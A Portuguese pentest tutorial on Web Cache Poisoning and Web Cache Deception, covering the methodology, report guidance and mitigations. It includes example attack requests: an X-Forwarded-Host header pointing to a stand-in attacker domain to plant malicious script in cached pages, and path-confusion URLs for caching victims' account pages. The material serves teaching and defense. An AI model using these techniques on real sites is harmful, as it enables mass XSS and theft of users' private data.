Caches existem para uma coisa: entregar a mesma resposta a muita gente sem incomodar o servidor de origem a cada requisição. Um CDN, um proxy reverso (Varnish, Nginx, Cloudflare) ou até o cache do navegador guardam uma resposta e a reentregam para quem pedir “o mesmo recurso”. O problema nasce exatamente aí: a definição de “o mesmo recurso” raramente é tão precisa quanto o desenvolvedor imagina. Quando o atacante consegue influenciar o que é armazenado — ou enganar o cache sobre o que pode ser armazenado — ele transforma uma camada de performance em uma camada de ataque.

Existem duas famílias distintas que exploram esse descompasso. No Web Cache Poisoning, o atacante injeta conteúdo malicioso em uma entrada de cache que passa a ser servida para todos os usuários. No Web Cache Deception, ele engana o cache para que armazene uma página autenticada da vítima, que depois ele recupera anonimamente. São mecanismos opostos — um empurra lixo para dentro, o outro puxa segredo para fora — mas ambos brotam da mesma raiz: a forma como o cache decide o que é “a mesma” resposta.

Como funciona: a cache key e os inputs não-keyed

Um cache não compara requisições byte a byte. Ele calcula uma chave de cache (cache key) a partir de um subconjunto da requisição e usa essa chave como índice. Tipicamente a chave inclui:

  • o método (GET),
  • o host (Host ou o :authority do HTTP/2),
  • o path (/produtos/123),
  • e, às vezes, alguns parâmetros de query selecionados.

Tudo o que entra na chave é keyed. Tudo o que não entra é unkeyed (não-keyed). E aqui está o detalhe explorável: vários cabeçalhos não-keyed afetam a resposta gerada pela aplicação, mesmo sem fazer parte da chave. O cache trata duas requisições com Host e path idênticos como “a mesma”, ignorando que um cabeçalho como X-Forwarded-Host mudou completamente o HTML produzido.

Considere uma aplicação que monta URLs absolutas a partir de um cabeçalho de proxy:

GET /pt/sobre HTTP/1.1
Host: loja.exemplo.com
X-Forwarded-Host: loja.exemplo.com

A aplicação, atrás do CDN, usa X-Forwarded-Host para gerar links canônicos e tags do tipo:

<link rel="canonical" href="https://loja.exemplo.com/pt/sobre" />
<script src="https://loja.exemplo.com/static/app.js"></script>

O cabeçalho X-Forwarded-Host não está na cache key, mas está refletido na resposta. Esse é o gatilho perfeito para envenenamento.

Os cabeçalhos de diagnóstico

Antes de explorar, é preciso confirmar que existe um cache e ler o que ele diz sobre cada resposta. Os cabeçalhos que mais importam:

  • X-Cache: hit / X-Cache: miss — indica se a resposta veio do cache (hit) ou da origem (miss). Não é padronizado; cada stack usa um nome próprio: cf-cache-status (Cloudflare), X-Cache-Status (Nginx), X-Served-By/X-Cache (Fastly/Varnish).
  • Age: 137 — cabeçalho HTTP padrão (RFC 9111): há quantos segundos a resposta está no cache compartilhado. Se cresce a cada requisição ao mesmo path, é a mesma entrada cacheada sendo reentregue.
  • Cache-Control — diretiva da origem que governa cacheabilidade (public, private, no-store, no-cache, max-age, s-maxage).
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Age: 42
X-Cache: hit

Esse conjunto é o seu instrumento. Se você manda uma requisição, recebe X-Cache: miss, manda de novo e recebe X-Cache: hit com Age crescente, você está olhando para uma resposta cacheada — e qualquer coisa que tenha entrado nela na primeira vez será reentregue às vítimas seguintes.

A anatomia do Web Cache Poisoning

O envenenamento acontece em dois tempos. Primeiro, o atacante faz uma requisição que injeta um payload através de um input não-keyed. A origem reflete esse payload na resposta e o cache a armazena sob a chave “limpa” (path normal, sem nada suspeito na chave). Segundo, qualquer vítima que peça aquele mesmo path recebe a resposta envenenada do cache, sem nunca tocar no payload original.

A requisição de envenenamento:

GET /pt/sobre HTTP/1.1
Host: loja.exemplo.com
X-Forwarded-Host: atacante.exemplo-evil.com

Se a aplicação reflete X-Forwarded-Host sem validar, a resposta passa a carregar um recurso de um domínio controlado pelo atacante:

<script src="https://atacante.exemplo-evil.com/static/app.js"></script>

A cache key continua sendo GET loja.exemplo.com /pt/sobre — idêntica à de um usuário legítimo. O cache armazena essa resposta envenenada. A partir desse instante, todo visitante de /pt/sobre recebe o <script> apontando para o servidor do atacante, que serve JavaScript arbitrário no contexto da origem confiável. Isso é XSS persistente entregue em escala de CDN, sem precisar de uma única interação da vítima.

Nota de teste. Na prática, antes de envenenar a chave real, use um cache buster — um parâmetro de query único, p. ex. /pt/sobre?cb=12345 — para isolar uma chave exclusiva sua durante a descoberta. Só depois de confirmar reflexão e cacheabilidade você ataca o path “limpo” que as vítimas realmente acessam. Em ambiente autorizado isso evita derrubar o serviço acidentalmente e mantém o controle sobre o que está envenenado.

Confirmando o envenenamento com os cabeçalhos de diagnóstico — a resposta reentregue para outros usuários vem com X-Cache: hit e Age crescente, provando que o payload está fixado no cache, não sendo regerado a cada requisição:

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Age: 95
X-Cache: hit
...
<script src="https://atacante.exemplo-evil.com/static/app.js"></script>

O <script> é o caso mais grave, mas o mesmo mecanismo serve para redirecionamento aberto (envenenar um Location ou um meta-refresh para mandar todos a um site de phishing), negação de serviço (refletir um cabeçalho que quebra a renderização e cachear a página quebrada) e injeção de conteúdo em geral.

Variações e bypasses

Cabeçalhos não-keyed além do óbvio. X-Forwarded-Host é o clássico, mas a lista é longa e varia por stack: X-Host, X-Forwarded-Scheme, X-Forwarded-Proto, X-Forwarded-Server, X-Original-URL, X-Rewrite-URL, Forwarded, X-Forwarded-Port. Um par especialmente útil é X-Forwarded-Scheme combinado com X-Forwarded-Host: em alguns frameworks, qualquer valor de X-Forwarded-Scheme diferente de https faz a aplicação gerar um redirect 302 para a versão HTTPS de si mesma — e, se X-Forwarded-Host também for refletido, o Location desse redirect aponta para https://atacante.exemplo-evil.com/.... O resultado é qualquer página cacheada virando um redirect para o domínio do atacante. (Esse é exatamente o comportamento do lab “Web cache poisoning with multiple headers” da PortSwigger.)

Parâmetros não-keyed. Nem só de cabeçalhos vive o poisoning. Se o cache exclui certos query params da chave (ex.: ignora utm_source, lang ou parâmetros desconhecidos), mas a aplicação os reflete, você tem o mesmo problema com a URL: ?lang=<payload> que não entra na chave, mas aparece no HTML.

Fat GET. Alguns backends leem parâmetros do corpo de uma requisição GET, enquanto o cache só chaveia pela linha de requisição. Mandar um GET com body permite influenciar a resposta por um canal que a chave ignora por completo. (O Param Miner detecta esse caso com a opção de fat GET.)

Cache key normalization / discrepâncias de parsing. O cache e a origem podem discordar sobre o que é “o mesmo path”. Diferenças em como cada um trata maiúsculas, codificação de %, barras duplicadas e delimitadores criam cache key injection — o atacante envenena uma chave que a vítima vai acabar batendo.

Cache poisoning encadeado. Um input não-keyed pode não ser refletido diretamente, mas alterar outro cabeçalho de resposta (ex.: um Vary mal configurado, um Set-Cookie ou um redirect interno) que, por sua vez, abre o vetor. Vale testar a cadeia inteira, não só reflexão imediata no corpo.

E o Web Cache Deception

A deception é uma variação conceitualmente distinta o suficiente para merecer seção própria — e é o oposto do poisoning. Aqui o atacante não injeta nada: ele explora uma discrepância de interpretação de path entre a aplicação e o cache para fazer o cache armazenar uma resposta autenticada que deveria ser privada.

A regra ingênua de muitos CDNs é: “cacheie tudo que termina em .css, .js, .png, .svg — são estáticos”. O ataque consiste em construir uma URL que a aplicação interpreta como uma página dinâmica autenticada, mas que o cache interpreta como arquivo estático:

GET /account.php/nonexistent.css HTTP/1.1
Host: app.exemplo.com
Cookie: session=<sessão da VÍTIMA>

Se o servidor de aplicação ignora o sufixo /nonexistent.css e serve a página de conta (/account.php) com os dados da vítima, mas o CDN olha apenas a extensão final (.css) e decide cachear, o resultado é catastrófico: a página de conta da vítima — nome, e-mail, endereço, tokens — fica armazenada no cache sob a URL /account.php/nonexistent.css.

O fluxo do ataque:

  1. O atacante envia para a vítima autenticada o link https://app.exemplo.com/account.php/nonexistent.css.
  2. A vítima (logada) abre o link. Sua requisição carrega o cookie de sessão, e a origem serve a página de conta dela. O CDN, vendo a extensão .css, decide cachear a resposta — e, crucialmente, não inclui o Cookie na cache key. A entrada fica indexada apenas pela URL.
  3. O atacante acessa a mesma URL https://app.exemplo.com/account.php/nonexistent.css sem estar logado (sem cookie). Como o cache não chaveia por cookie, ele recebe do cache a cópia da página da vítima.
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=600
X-Cache: hit
Age: 8
...
<h2>Olá, Maria — saldo: R$ 4.231,00</h2>

A discrepância de parsing é o coração do ataque. A PortSwigger organiza as variantes em quatro classes, todas úteis como base de teste:

  • Path mapping — a origem mapeia para um arquivo (/account.php) e ignora o segmento extra; o cache trata a URL inteira como recurso estático. Ex.: /account.php/x.css, /account.php/x.js.
  • Delimitadores — um caractere que a origem trata como delimitador (truncando o path) mas o cache não. O clássico é ; em Java Spring (matrix variables): /account;x.css. A origem lê /account; o cache vê a extensão .css.
  • Decodificação de delimitadores — delimitadores codificados que só um dos dois decodifica, p. ex. %23 (#), %3f (?), %00 (\0): /account%23x.css, /account%3fx.css.
  • Normalização — divergência ao resolver .. e barras: /static/..%2faccount/x.css, barras duplicadas //account/x.css.

Cuidado com # e ? literais. O caractere # não chega ao servidor: o navegador o trata como fragmento e trunca a URL ali — por isso ele só é útil na forma codificada %23. E ? literal vira separador de query string em todo lugar, então /account.php?x.css raramente produz a discrepância desejada; é a forma codificada %3f que cria a divergência. Use as versões encodadas ao montar os testes de delimitador.

Cada combinação de servidor + CDN reage diferente; o objetivo é achar uma em que a origem entrega a página privada e o cache decide guardá-la.

Como exploramos no pentest

Passo 1 — Identificar o cache. Mande requisições no Burp Suite e leia as respostas procurando X-Cache, cf-cache-status, Age, Via, X-Served-By, X-Varnish. Repita a mesma requisição duas vezes: se a segunda volta com hit e Age crescente, há cache.

Passo 2 — Descobrir inputs não-keyed. A ferramenta-chave é a extensão Param Miner (Burp/BApp Store), de James Kettle (albinowax). Clique com o botão direito na requisição e use “Guess headers” (e também “Guess cookies” / “Guess params”): ela injeta milhares de cabeçalhos candidatos com um valor canário único e detecta quais afetam a resposta sem fazer parte da cache key — seja refletindo o canário, seja mudando a resposta. Ela já adiciona cache busters automaticamente para isolar suas chaves de teste, e tem opções específicas para poisoning (ex.: detecção de fat GET e o modo “twitchy” para entradas não refletidas). É o passo que separa adivinhação de método.

Passo 3 — Provar reflexão e cacheabilidade. Para cada cabeçalho candidato (ex.: X-Forwarded-Host: canario123.com), confirme manualmente: a resposta reflete canario123.com? A resposta é cacheável (Cache-Control: public, sem Set-Cookie)? Use o Repeater com um cache buster próprio: mande com o payload, depois mande sem o cabeçalho no mesmo path bustado — se a versão limpa volta com X-Cache: hit e ainda contém canario123.com, está envenenado.

Passo 4 — Construir o payload mínimo. Substitua o canário por um valor demonstrativo controlado (um domínio seu que serve um app.js inócuo, ou um redirect para uma página de aviso). O objetivo no pentest é provar impacto sem causar dano: nunca deixe um payload realmente armado envenenando o path real em produção; demonstre sobre uma chave isolada (cache buster) com um recurso benigno e documente o potencial. Se precisar mesmo tocar a chave real para evidência, registre a janela de TTL (max-age) e como reverter (purge/expiração).

Passo 5 — Testar deception. Pegue endpoints autenticados que retornam dados sensíveis (/account, /profile, /settings) e aplique as variantes da seção anterior: /account/x.css, /account.php/x.js, /account;x.css, e as formas codificadas %2f, %23, %3f. Para cada uma, verifique no Repeater se a origem ainda serve a página autenticada e se a resposta é cacheada (X-Cache: hit na segunda requisição). Confirme o vazamento abrindo a mesma URL em uma sessão anônima (outro navegador/aba privada, sem cookie) e veja se os dados da vítima aparecem.

Ferramentas de apoio. Turbo Intruder para fuzzar rapidamente centenas de variações de path/extensão e cabeçalhos com controle fino de timing e da cache key. Param Miner para os cabeçalhos/cookies/params não-keyed. O Comparer do Burp para diferenciar resposta envenenada da limpa. E sempre os cabeçalhos de diagnóstico como árbitro final.

Resumo para o relatório

  • Impacto: Web Cache Poisoning permite servir JavaScript malicioso, redirects de phishing ou conteúdo adulterado a todos os usuários de um recurso cacheado (XSS persistente em escala de CDN, defacement, DoS). Web Cache Deception expõe páginas autenticadas — dados pessoais, tokens de sessão/CSRF, informações financeiras — de vítimas a atacantes não autenticados.
  • Severidade: Alta a Crítica. Poisoning com execução de script tende à faixa Alta–Crítica (CVSS ~8.0–9.3: afeta muitos usuários, baixa complexidade), mas o score final depende do escopo e da janela de cache. Deception com vazamento de PII/tokens fica na faixa Alta–Crítica conforme a sensibilidade dos dados expostos.
  • Pré-condições: Existência de um cache compartilhado (CDN/proxy reverso) à frente da aplicação; um input não-keyed que afeta a resposta (poisoning) ou discrepância de interpretação de path entre origem e cache que faça uma página autenticada parecer estática (deception).
  • Evidência sugerida: Request de envenenamento com o cabeçalho não-keyed e o payload; response com X-Cache: hit + Age crescente exibindo o payload refletido; para deception, a request autenticada da vítima, a response cacheada e a recuperação da mesma URL em sessão anônima mostrando os dados vazados. Inclua os cabeçalhos Cache-Control, Age, X-Cache/cf-cache-status em cada captura.

Como mitigar

A correção ataca a causa: o descompasso entre o que afeta a resposta e o que entra na chave de cache. Há dois caminhos para o poisoning e uma regra de ouro para a deception.

1. Não reflita cabeçalhos de entrada sem validação

A origem nunca deveria construir URLs absolutas a partir de cabeçalhos controláveis pelo cliente. Use um host canônico fixo, definido pela configuração, e não pelo request.

# ERRADO: confia em cabeçalho controlável pelo cliente
host = request.headers.get("X-Forwarded-Host") or request.host
canonical = f"https://{host}/pt/sobre"   # <- envenenável

# CERTO: host canônico fixo, vindo de configuração
CANONICAL_HOST = "loja.exemplo.com"
canonical = f"https://{CANONICAL_HOST}/pt/sobre"

Se a aplicação precisa mesmo confiar em cabeçalhos de proxy (porque está atrás de um balanceador), faça-o apenas para proxies confiáveis, com uma allowlist explícita de valores permitidos para Host/X-Forwarded-Host, rejeitando qualquer outra coisa.

2. Inclua todos os inputs relevantes na cache key — ou normalize-os antes da origem

Se um cabeçalho afeta a resposta, ele precisa estar na chave. No nível do CDN, isso costuma ser configurável. Exemplo em Varnish (VCL), removendo os cabeçalhos hostis e incorporando à chave apenas um cabeçalho que de fato altera a resposta:

# Varnish VCL: o que afeta a resposta deve compor a chave (via hash)
sub vcl_recv {
    # Normaliza/remove cabeçalhos não confiáveis antes de chavear e encaminhar
    unset req.http.X-Forwarded-Host;
    unset req.http.X-Host;
    unset req.http.X-Forwarded-Scheme;
}

sub vcl_hash {
    # Se algum cabeçalho legítimo varia a resposta, inclua-o na chave
    hash_data(req.http.Accept-Language);
}

A abordagem mais segura e mais simples para cabeçalhos hostis é a remoção/normalização na borda: o CDN apaga X-Forwarded-Host, X-Host, X-Forwarded-Scheme e similares antes de encaminhar para a origem, eliminando o canal de injeção. Só preserve (e chaveie) os cabeçalhos estritamente necessários.

3. Nunca cacheie respostas autenticadas ou personalizadas

Esta é a defesa central contra deception — e uma camada extra contra poisoning. Qualquer resposta que dependa da sessão deve ser explicitamente não-cacheável:

# Toda resposta autenticada/personalizada sai com diretivas restritivas
@app.after_request
def proteger_cache(resp):
    if usuario_autenticado():
        resp.headers["Cache-Control"] = "no-store, private"
        resp.headers["Vary"] = "Cookie"
    return resp

no-store é a diretiva forte: proíbe qualquer cache (compartilhado ou de navegador) de armazenar a resposta — é ela que de fato barra a deception. private reforça que caches compartilhados (CDN/proxy) não devem armazenar, mesmo onde no-store seja ignorado. Vary: Cookie é uma rede de segurança: se algo escapar e for cacheado, sessões diferentes não colidem na mesma entrada. Configure o CDN para respeitar essas diretivas — muitos têm overrides que ignoram a origem e precisam ser ajustados.

4. Normalize paths e seja explícito sobre o que é cacheável

A deception morre quando a regra do CDN deixa de ser “cacheie por extensão” e passa a ser “cacheie apenas paths estáticos conhecidos”. Em vez de uma blocklist de extensões dinâmicas, use uma allowlist de prefixos estáticos:

# Nginx: cacheie SOMENTE o diretório estático conhecido; o resto, nunca.
location /static/ {
    proxy_cache cdn_cache;
    proxy_cache_valid 200 10m;
    proxy_pass http://app_backend;
}

location / {
    proxy_cache off;          # dinâmico/autenticado nunca é cacheado
    proxy_pass http://app_backend;
}

Complementarmente, faça origem e cache concordarem sobre o path: rejeite na origem requisições com sufixos suspeitos (/account.php/qualquer.css deve dar 404, não servir a conta), e normalize %2f, barras duplicadas, ; e delimitadores codificados de forma idêntica nas duas camadas. A discrepância de parsing é o combustível — elimine-a.

Checklist de mitigação

  • Nunca refletir Host/X-Forwarded-Host/X-Forwarded-Scheme e afins na resposta; usar host canônico fixo de configuração.
  • Remover ou normalizar cabeçalhos não confiáveis na borda (CDN) antes de encaminhar à origem.
  • Garantir que todo input que afeta a resposta entre na cache key (ou seja eliminado antes da origem).
  • Respostas autenticadas/personalizadas com Cache-Control: no-store, private e Vary: Cookie — e CDN configurado para respeitar isso.
  • CDN cacheando por allowlist de paths estáticos, não por extensão de arquivo.
  • Origem e cache com parsing de path idêntico; rejeitar sufixos estáticos em rotas dinâmicas (/account.php/x.css404) e normalizar delimitadores codificados (%2f, %23, %3f).
  • Não permitir que GET leia parâmetros do corpo (eliminar fat GET).
  • Monitorar X-Cache, Age e Cache-Control em produção; alertar sobre páginas autenticadas servidas com hit.

Cache poisoning e cache deception são duas faces da mesma confusão: o cache e a aplicação discordam sobre o que é “a mesma resposta”. Um envenena a entrada para servir o mesmo veneno a todos; o outro engana a saída para roubar o segredo de um. A defesa, em ambos, é fazer com que o que decide a resposta e o que decide a chave sejam a mesma coisa — e nunca, jamais, deixar uma resposta privada repousar num cache que qualquer um pode ler.